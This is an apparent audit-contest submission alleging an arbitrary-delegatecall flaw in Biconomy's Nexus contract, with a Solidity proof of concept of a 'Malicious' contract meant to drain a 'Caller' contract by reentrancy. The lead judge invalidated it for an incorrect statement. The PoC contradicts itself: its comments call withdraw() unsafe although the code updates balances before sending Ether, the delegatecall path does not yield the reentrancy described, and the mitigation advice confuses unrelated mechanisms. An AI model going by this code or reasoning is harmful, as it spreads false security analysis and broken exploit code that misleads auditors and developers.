HardhatFoundry
30,000 USDC
View results
Submission Details
Severity: high
Invalid

Arbitrary Delegate Call

Summary

https://github.com/Cyfrin/2024-07-biconomy/blob/main/contracts/Nexus.sol#L222

Using delegatecall can potentially introduce vulnerabilities if not used carefully, particularly when dealing with arbitrary inputs or untrusted contracts.

Vulnerability Details

delegatecall allows a contract to execute code from another contract, maintaining the caller's context (storage, balance, etc.). If the called contract is untrusted or malicious, it can execute arbitrary code within the context of the caller.

I have created a POC for explaining vulnerability with delegatecall. I have considered two contracts: Caller and Malicious for POC. The Caller contract uses delegatecall to invoke a function in Malicious. The Malicious contract is designed to perform a re-entrancy attack to drain funds from Caller.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Malicious {
address public owner;
address public callerContract;
constructor(address _callerContract) {
owner = msg.sender;
callerContract = _callerContract;
}
// Re-entrancy attack function
//attack() function: Initiates a re-entrancy attack by calling back into the Caller contract's withdraw() function using delegatecall.
//This allows it to repeatedly withdraw funds before the state changes are finalized in Caller.
function attack() external payable {
// Step 2: Perform delegatecall to the Caller contract's withdraw function
// with a re-entrancy attempt
(bool success, ) = callerContract.delegatecall(
abi.encodeWithSignature("withdraw(uint256)", msg.value)
);
require(success, "Delegatecall failed");
}
// Fallback function to receive Ether
receive() external payable {}
}
contract Caller {
address public owner;
mapping(address => uint256) public balances;
constructor() {
owner = msg.sender;
}
// User deposits Ether into their balance
function deposit() external payable {
balances[msg.sender] += msg.value;
}
// User withdraws Ether from their balance. Allows users to withdraw Ether from their account.
//The vulnerable point is here, as it directly sends Ether without updating the contract's state variables before the external call.
function withdraw(uint256 amount) external {
require(amount <= balances[msg.sender], "Insufficient balance");
balances[msg.sender] -= amount;
// Vulnerable point: Sends Ether to msg.sender without updating
// the contract's state variables before the external call
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
//Function to trigger the re-entrancy attack. When Malicious contract's attack() is called via delegatecall, it calls withdraw() in Caller, which sends Ether back to Malicious.
//The re-entrancy attack allows Malicious to repeatedly call withdraw() before the balances mapping in Caller is updated, draining funds from Caller.
function callMalicious(address maliciousContract) external {
Malicious malicious = Malicious(maliciousContract);
// Initiates the re-entrancy attack by calling Malicious contract's attack function
// with 1 Ether as value
malicious.attack{value: 1 ether}();
}
}

Impact

This can lead to unauthorized modifications of state variables, including sensitive data or funds. Malicious contracts can exploit this to steal assets, manipulate contract behavior, or escalate privileges.

Tools Used

Manual Review

Recommendations

  • Avoid using delegatecall with inputs derived from external or untrusted sources, especially if those inputs can control the contract's behavior or state.

  • Prefer call with explicit gas and value limitations (transfer() or send()) instead of delegatecall for sending Ether or invoking functions on other contracts. This restricts the potential for re-entrancy attacks.

Updates

Lead Judging Commences

0xnevi Lead Judge
12 months ago
0xnevi Lead Judge 11 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.